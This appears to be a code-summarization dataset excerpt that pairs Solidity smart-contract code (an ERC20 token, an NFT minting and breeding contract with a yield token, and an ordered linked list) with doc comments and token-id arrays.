* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
interface IProject {
function balanceOG(address _user) external view returns(uint256);
function balanceOW(address _user) external view returns(uint256);
}
contract YieldToken is ERC20 {
using SafeMath for uint256;
// uint256 private initialSupply_ = 20000000 * 10 ** 18;
uint256 constant public BURNING_REWARD = 200 ether;
uint256 constant public BASE_OG_RATE = 1 ether;
uint256 constant public BASE_OW_RATE = 0.25 ether;
mapping(address => uint256) public rewards;
mapping(address => uint256) public lastUpdate;
IProject public projectContract;
event RewardPaid(address indexed user, uint256 reward);
constructor(address _project, string memory name_, string memory symbol_, uint256 initialSupply_) ERC20(name_, symbol_) {
projectContract = IProject(_project);
_mint(msg.sender, initialSupply_);
}
// called when minting
function updateRewardOnMint(address _user) external {
require(msg.sender == address(projectContract), "Can't call this");
uint256 time = block.timestamp;
uint256 timerUser = lastUpdate[_user];
rewards[_user] += projectContract.balanceOG(_user).mul(BASE_OG_RATE.mul((time.sub(timerUser)))).div(86400);
rewards[_user] += projectContract.balanceOW(_user).mul(BASE_OW_RATE.mul((time.sub(timerUser)))).div(86400);
lastUpdate[_user] = time;
}
// called on transfers
function updateReward(address _from, address _to) external {
require(msg.sender == address(projectContract));
uint256 time = block.timestamp;
uint256 timerFrom = lastUpdate[_from];
if (timerFrom > 0) {
rewards[_from] += projectContract.balanceOG(_from).mul(BASE_OG_RATE.mul((time.sub(timerFrom)))).div(86400);
rewards[_from] += projectContract.balanceOW(_from).mul(BASE_OW_RATE.mul((time.sub(timerFrom)))).div(86400);
}
lastUpdate[_from] = time;
if (_to != address(0)) {
uint256 timerTo = lastUpdate[_to];
if (timerTo > 0) {
rewards[_to] += projectContract.balanceOG(_to).mul(BASE_OG_RATE.mul((time.sub(timerTo)))).div(86400);
rewards[_to] += projectContract.balanceOW(_to).mul(BASE_OW_RATE.mul((time.sub(timerTo)))).div(86400);
}
lastUpdate[_to] = time;
}
}
function getReward(address _to) external {
require(msg.sender == address(projectContract));
uint256 reward = rewards[_to];
if (reward > 0) {
rewards[_to] = 0;
_mint(_to, reward);
emit RewardPaid(_to, reward);
}
}
function burn(address _from, uint256 _amount) external {
require(msg.sender == address(projectContract));
_burn(_from, _amount);
}
function burnReward(address _to) external {
require(msg.sender == address(projectContract));
_mint(_to, BURNING_REWARD);
}
function getTotalClaimable(address _user) external view returns(uint256) {
uint256 time = block.timestamp;
uint256 pending = projectContract.balanceOG(_user).mul(BASE_OG_RATE.mul((time.sub(lastUpdate[_user])))).div(86400);
pending += projectContract.balanceOW(_user).mul(BASE_OW_RATE.mul((time.sub(lastUpdate[_user])))).div(86400);
return rewards[_user] + pending;
}
}
contract Project is ERC721Namable, Ownable {
uint256 constant public BREED_PRICE = 200 ether;
uint256 constant public MAX_SUPPLY = 10000;
uint256 constant public MAX_GENESIS_SUPPLY = 3333;
uint256 constant private SEQ_GENESIS_SUPPLY = 3303;
uint256 constant private DEV_SUPPLY_LIMIT = 30;
uint256 public cost = 0.08 ether;
uint256 public maxMintPerTxn = 10; // maximum number of mint per transaction
uint256 public nftPerAddressLimitPresale = 3; // maximum number of mint per wallet for presale
uint256 private sequenceSupply; // from 0
uint256 private countOGFreeForOwners; // 30 Genesis tokens mintable by contract owner.
uint256 private countOGFreeLastForOwners; // Last 30 Genesis tokens mintable by contract owner.
uint256 private bebeCount; // baby count
uint256[] private _occupiedList;
uint256[] private _airdropList;
YieldToken public yieldToken;
// manual toggle for pause, presale and public sale //
bool public paused = false;
bool public presaleOpen = false;
bool public publicSaleOpen = false;
mapping(address => uint256) public balanceOG;
mapping(address => uint256) public balanceOW;
mapping(address => bool) public whitelistedAddresses; // all address of whitelisted OGs
mapping(address => uint256) private presaleAddressMintedAmount; // number of NFT minted for each wallet during presale
// Events
event OWBorn (uint256 tokenId, uint256 matron, uint256 sire);
constructor(string memory _name, string memory _symbol, string memory baseUri_) ERC721Namable(_name, _symbol) {
_setBaseURI(baseUri_); // e.g. https://kongz.herokuapp.com/api/metadata/
}
function setBaseURI(string memory newURI) external onlyOwner {
_setBaseURI(newURI);
}
function setYieldToken(address _yield) external onlyOwner {
yieldToken = YieldToken(_yield);
}
function changeNamePrice(uint256 _price) external onlyOwner {
nameChangePrice = _price;
}
function setPause(bool _state) external onlyOwner {
paused = _state;
}
function whitelistUsers(address[] calldata _users) external onlyOwner {
for (uint256 i = 0; i < _users.length; i++) {
whitelistedAddresses[_users[i]] = true;
}
}
function setPresaleOpen(bool _presaleOpen) external onlyOwner {
presaleOpen = _presaleOpen;
}
function setPublicSaleOpen(bool _publicSaleOpen) external onlyOwner {
publicSaleOpen = _publicSaleOpen;
}
// owner mint for free for airdrop
function devMint(uint256 _mintAmount) external onlyOwner onlyStart {
// require(_mintAmount <= maxMintPerTxn, "maxPerTx!");
require(sequenceSupply + _mintAmount <= SEQ_GENESIS_SUPPLY, "exceed totalSupply");
require(countOGFreeForOwners + _mintAmount <= DEV_SUPPLY_LIMIT, "exceed countOGFreeMax");
yieldToken.updateRewardOnMint(msg.sender);
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, sequenceSupply + i);
_airdropList.push(sequenceSupply + i);
}
sequenceSupply += _mintAmount;
countOGFreeForOwners += _mintAmount;
balanceOG[msg.sender] += _mintAmount;
}
// owner mint for free last 30
function devLastMint(uint256 _mintAmount) external onlyOwner onlyStart {
// require(_mintAmount <= maxMintPerTxn, "maxPerTx!");
require(countOGFreeLastForOwners + _mintAmount <= DEV_SUPPLY_LIMIT, "exceed countOGFreeLastMax");
yieldToken.updateRewardOnMint(msg.sender);
uint256 id = SEQ_GENESIS_SUPPLY + countOGFreeLastForOwners;
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, id + i);
}
countOGFreeLastForOwners += _mintAmount;
balanceOG[msg.sender] += _mintAmount;
}
function giveaways(address[] memory giveawayList) external onlyOwner onlyStart {
require(balanceOG[msg.sender] >= giveawayList.length, "balance not enough");
require(_airdropList.length >= giveawayList.length, "list not enough");
uint256[] memory ownerAirWallet = new uint256[](_airdropList.length);
uint256 k;
for (uint256 j = 0; j <_airdropList.length; j++) {
if (ownerOf(_airdropList[j]) == msg.sender) {
ownerAirWallet[k] = _airdropList[j];
k++;
}
}
require(k >= giveawayList.length, "ownerair not enough");
for (uint256 i = 0; i < giveawayList.length; i++) {
safeTransferFrom(msg.sender, giveawayList[i], ownerAirWallet[i], "0x00");
}
}
function breed(uint256 _sire, uint256 _matron, uint256 kidId) external {
require(ownerOf(_sire) == msg.sender && ownerOf(_matron) == msg.sender);
require(_sire <= MAX_GENESIS_SUPPLY && _matron <= MAX_GENESIS_SUPPLY);
require(MAX_GENESIS_SUPPLY < kidId && kidId <= MAX_SUPPLY);
require(bebeCount <= 6667);
yieldToken.updateRewardOnMint(msg.sender);
yieldToken.burn(msg.sender, BREED_PRICE);
_occupiedList.push(kidId);
_mint(msg.sender, kidId);
balanceOW[msg.sender]++;
bebeCount++;
emit OWBorn(kidId, _matron, _sire);
}
function occupiedList() public view returns (uint256[] memory) {
return _occupiedList;
}
// public sale
function publicMint(uint256 _mintAmount) external payable onlyStart {
require(publicSaleOpen, "pubsale not started");
require(_mintAmount <= maxMintPerTxn, "maxPerTx!");
require(sequenceSupply + _mintAmount + ( DEV_SUPPLY_LIMIT - countOGFreeForOwners) <= SEQ_GENESIS_SUPPLY, "exceed totalSupply");
require(msg.value >= cost * _mintAmount, "not enough ether");
yieldToken.updateRewardOnMint(msg.sender);
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, sequenceSupply + i);
}
sequenceSupply += _mintAmount;
}
// presale mint
function presaleMint(uint256 _mintAmount) external payable onlyStart {
require(presaleOpen, "presale not started");
require(_mintAmount <= maxMintPerTxn, "maxPerTx!");
require(whitelistedAddresses[msg.sender], "not in the whitelist");
require(presaleAddressMintedAmount[msg.sender] + _mintAmount <= nftPerAddressLimitPresale, "a max of three during presale");
require(msg.value >= cost * _mintAmount, "not enough ether");
yieldToken.updateRewardOnMint(msg.sender);
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, sequenceSupply + i);
}
presaleAddressMintedAmount[msg.sender] += _mintAmount;
balanceOG[msg.sender] += _mintAmount;
sequenceSupply += _mintAmount;
}
function getReward() external {
yieldToken.updateReward(msg.sender, address(0));
yieldToken.getReward(msg.sender);
}
function burnGenesis(uint256 id) external {
require(ownerOf(id) == msg.sender);
require(1 <= id && id <= MAX_GENESIS_SUPPLY, "not Genesis");
yieldToken.updateReward(msg.sender, address(0));
_burn(id);
balanceOG[msg.sender]--;
yieldToken.burnReward(msg.sender);
}
function walletOfOwner(address _owner) external view returns (uint256[] memory) {
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function changeName(uint256 tokenId, string memory newName) public override {
yieldToken.burn(msg.sender, nameChangePrice);
super.changeName(tokenId, newName);
}
function transferFrom(address from, address to, uint256 tokenId) public override {
yieldToken.updateReward(from, to);
if (tokenId <= MAX_GENESIS_SUPPLY) {
balanceOG[from]--;
balanceOG[to]++;
} else {
balanceOW[from]--;
balanceOW[to]++;
}
ERC721.transferFrom(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public override {
yieldToken.updateReward(from, to);
if (tokenId <= MAX_GENESIS_SUPPLY) {
balanceOG[from]--;
balanceOG[to]++;
} else {
balanceOW[from]--;
balanceOW[to]++;
}
ERC721.safeTransferFrom(from, to, tokenId, _data);
}
function withdraw() public onlyOwner {
uint256 amount = address(this).balance;
require(amount > 0);
_widthdraw(owner(), amount);
}
function _widthdraw(address _address, uint256 _amount) private {
(bool success, ) = _address.call{value: _amount}("");
require(success);
}
modifier onlyStart() {
require(!paused, "paused");
_;
}
} | * @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./ | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
}
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 495,482 | [
1,
13621,
434,
326,
288,
45,
654,
39,
3462,
97,
1560,
18,
1220,
4471,
353,
279,
1600,
669,
335,
358,
326,
4031,
2430,
854,
2522,
18,
1220,
4696,
716,
279,
14467,
12860,
711,
358,
506,
3096,
316,
279,
10379,
6835,
1450,
288,
67,
81,
474,
5496,
2457,
279,
5210,
12860,
2621,
288,
654,
39,
3462,
18385,
49,
2761,
16507,
1355,
5496,
399,
2579,
30,
2457,
279,
6864,
1045,
416,
2621,
3134,
7343,
358,
2348,
14467,
1791,
28757,
8009,
1660,
1240,
10860,
7470,
3502,
62,
881,
84,
292,
267,
9875,
14567,
30,
4186,
15226,
3560,
434,
5785,
1375,
5743,
68,
603,
5166,
18,
1220,
6885,
353,
1661,
546,
12617,
15797,
287,
471,
1552,
486,
7546,
598,
326,
26305,
434,
4232,
39,
3462,
12165,
18,
26775,
16,
392,
288,
23461,
97,
871,
353,
17826,
603,
4097,
358,
288,
13866,
1265,
5496,
1220,
5360,
12165,
358,
23243,
326,
1699,
1359,
364,
777,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
16351,
4232,
39,
3462,
353,
1772,
16,
467,
654,
39,
3462,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
5267,
364,
1758,
31,
203,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
70,
26488,
31,
203,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
203,
565,
2254,
5034,
3238,
389,
4963,
3088,
1283,
31,
203,
203,
565,
533,
3238,
389,
529,
31,
203,
565,
533,
3238,
389,
7175,
31,
203,
565,
2254,
28,
3238,
389,
31734,
31,
203,
203,
97,
203,
565,
3885,
261,
1080,
3778,
508,
67,
16,
533,
3778,
3273,
67,
13,
288,
203,
3639,
389,
529,
273,
508,
67,
31,
203,
3639,
389,
7175,
273,
3273,
67,
31,
203,
3639,
389,
31734,
273,
6549,
31,
203,
565,
289,
203,
203,
565,
445,
508,
1435,
1071,
1476,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
529,
31,
203,
565,
289,
203,
203,
565,
445,
3273,
1435,
1071,
1476,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
7175,
31,
203,
565,
289,
203,
203,
565,
445,
15105,
1435,
1071,
1476,
1135,
261,
11890,
28,
13,
288,
203,
3639,
327,
389,
31734,
31,
203,
565,
289,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
1071,
1476,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
389,
4963,
3088,
1283,
31,
203,
565,
289,
203,
203,
565,
445,
11013,
951,
12,
2867,
2236,
13,
1071,
1476,
3849,
1135,
261,
11890,
5034,
2
] |
pragma solidity 0.5.7;
import "./../interfaces/ifoladt.sol";
import "./../helpers/ownable.sol";
/**
* @title fixed ordered bidirectional linked list concrete implementation of ifoladt
* @dev all fobll operation O(1) [note max iterations count eq capacity]
* @dev note all indexations start from 1
* inheritdoc
*/
contract FOBLL is IFOLADT, Ownable {
/**
* @dev initialize fobll with max size param
* @param capacity max size of fobll
*/
constructor(uint32 capacity) public {
__capacity = capacity;
}
/// inheritdoc
function size() external view returns(uint32) {
return __size;
}
/// inheritdoc
function capacity() external view returns(uint32) {
return __capacity;
}
/// inheritdoc
function empty() public view returns(bool) {
return __head == address(0) && __tail == address(0) && __size == 0;
}
/// inheritdoc
function push(address key, uint256 value) external owner {
// in case of invalid address specified
require(key != address(0), "Invalid push key specified");
// before start placement remove node from fobll
// replace node everytime isntead of update existed value
__remove(key);
// in case of empty fobll
// place single node into fobll
// than break from place method
// as placement was done already
if (empty()) {
__between(key, value, address(0), address(0), true);
return;
}
// start common place flow
__place(key, value);
}
/// inheritdoc
function index(address key) external view returns(uint32) {
// in case of invalid address specified
require(key != address(0), "Invalid index key specified");
uint32 idx = 1; // index start from first node
// iterate over all fobll nodes from head to tail
address it = __head;
address end = __nodes[__tail].next;
while (it != end) {
// in case we pass finish break
if (idx > __capacity) {
break;
}
Node memory node = __nodes[it];
if (node.self != key) {
// update fobll iterator
it = node.next;
// update iteration break index
++idx;
// skip while we not find right node
continue;
}
// in case we found right node
return idx;
}
return 0;
}
/// inheritdoc
function at(uint32 idx) public view returns(address) {
// in case of invalid index specified
require(idx != 0 && idx <= __capacity, "Invalid index specified");
uint32 lidx = 1; // index start from first node
// iterate over all fobll nodes from head to tail
address it = __head;
address end = __nodes[__tail].next;
while (it != end) {
// in case we pass finish break
if (lidx > idx) {
break;
}
Node memory node = __nodes[it];
if (idx != lidx) {
// update fobll iterator
it = node.next;
// update iteration break index
++lidx;
// skip while we not find right node
continue;
}
// in case we found right node
return node.self;
}
return address(0);
}
/// inheritdoc
function remove(uint32 idx) public owner {
// use remove by key and at methods
__remove(at(idx));
}
/// inheritdoc
function slice(uint32 start, uint32 finish) external view returns(address[] memory) {
// in case of invalid indexes specified
require(start != 0 && finish != 0 && start <= finish && finish <= __capacity, "Invalid slice indexes specified");
address[] memory result = new address[](finish - start + 1);
uint32 idx = 1; // index start from first node
// iterate over all fobll nodes from head to tail
address it = __head;
address end = __nodes[__tail].next;
while (it != end) {
// in case we pass finish break
if (idx > finish) {
break;
}
Node memory node = __nodes[it];
// in case we found right node
if (start <= idx && idx <= finish) {
result[idx - start] = node.self;
}
// update fobll iterator
it = node.next;
// update iteration break index
++idx;
}
return result;
}
/**
* @dev remove element from fobll by key, if elemnt already exists
* @dev update size constraints
* @param key element identifier
*/
function __remove(address key) private {
Node memory node = __nodes[key];
// in case node not exists
if (node.self == address(0)) {
return;
}
// in case removed node was head node
// declare next node as new head node
if (node.self == __head) {
__head = node.next;
}
// in case removed node was tail node
// declare prev node as new tail node
if (__tail == node.self) {
__tail = node.prev;
}
// in case removded prev node exists
// change old prev node next ptr to node next ptr
if (node.prev != address(0)) {
__nodes[node.prev].next = node.next;
}
// in case removded next node exists
// change old next node prev ptr to node prev ptr
if (node.next != address(0)) {
__nodes[node.next].prev = node.prev;
}
// update fobll size
--__size;
// clear node data
delete __nodes[key];
}
/**
* @dev place node into the fobll by order, correctly processed single item fobll and multi items fobll
* @param key address of new node
* @param value value of new node
*/
function __place(address key, uint256 value) private {
uint32 idx = 1; // index start from first node
// iterate over all fobll nodes from head to tail
address it = __head;
address end = __nodes[__tail].next;
do {
Node memory node = __nodes[it];
if (node.value >= value) {
// update fobll iterator
it = node.next;
// update iteration break index
++idx;
// skip between action
// while we not find right node
continue;
}
// in case fobll is already full
// and new node value is lower than min existed
// break from place method
if (idx > __capacity) {
return;
}
// add new node to the fobll before current node
__between(key, value, node.prev, node.self, false);
// in case placement done in middle of fobll
// and fobll size growth over capacity
// remove __tail element
if (__size > __capacity) {
__remove(__tail);
}
// break from place method
// as placement was done
return;
} while (it != end);
// in case of fobll lowest new node value
// append new node to fobll tail node
// add new node to the end of fobll
__between(key, value, __tail, address(0), true);
}
/**
* @dev create new node with address and value between prev address and next address
* @param key address of new node
* @param value value of new node
* @param prev ptr to prev node
* @param next prt to next node
* @param constraint flag that consider size constraint
*/
function __between(address key, uint256 value, address prev, address next, bool constraint) private {
// in case fobll is already full
// break from between method
if (constraint && __size >= __capacity) {
return;
}
// add new node to the fobll before next node and prev node
__nodes[key] = Node({
value: value,
self: key,
prev: prev,
next: next
});
// in case prev node is tail node
// declare new node as new tail node
if (prev == __tail) {
__tail = key;
}
// in case next node is head node
// declare new node as new head node
if (next == __head) {
__head = key;
}
// in case prev node exists
// change old prev node next ptr to new node
if (prev != address(0)) {
__nodes[prev].next = key;
}
// in case next node exists
// change old next node prev ptr to new node
if (next != address(0)) {
__nodes[next].prev = key;
}
// update fobll size
++__size;
}
/// @title size of fobll
uint32 private __size;
/// @title capacity of fobll
uint32 private __capacity;
/// @title inner node struct of fobll
struct Node {
/// @title node self value
uint256 value;
/// @title node self address
address self;
/// @title node next address
address next;
/// @title node prev address
address prev;
}
/// @title nodes mapping of fobll
mapping(address => Node) private __nodes;
/// @title head ptr of fobll
address private __head;
/// @title tail ptr of fobll
address private __tail;
}
| add new node to the fobll before current node | __between(key, value, node.prev, node.self, false);
| 5,441,816 | [
1,
1289,
394,
756,
358,
326,
284,
947,
2906,
1865,
783,
756,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5411,
1001,
15019,
12,
856,
16,
460,
16,
756,
18,
10001,
16,
756,
18,
2890,
16,
629,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xB9b262334941eb374b2335a2bd03fAF7E27516b2/sources/contracts/protocol/Trustus/Trustus.sol | @notice The domain separator used by EIP-712 solhint-disable-next-line var-name-mixedcase | bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
| 4,177,400 | [
1,
1986,
2461,
4182,
1399,
635,
512,
2579,
17,
27,
2138,
3704,
11317,
17,
8394,
17,
4285,
17,
1369,
569,
17,
529,
17,
19562,
3593,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
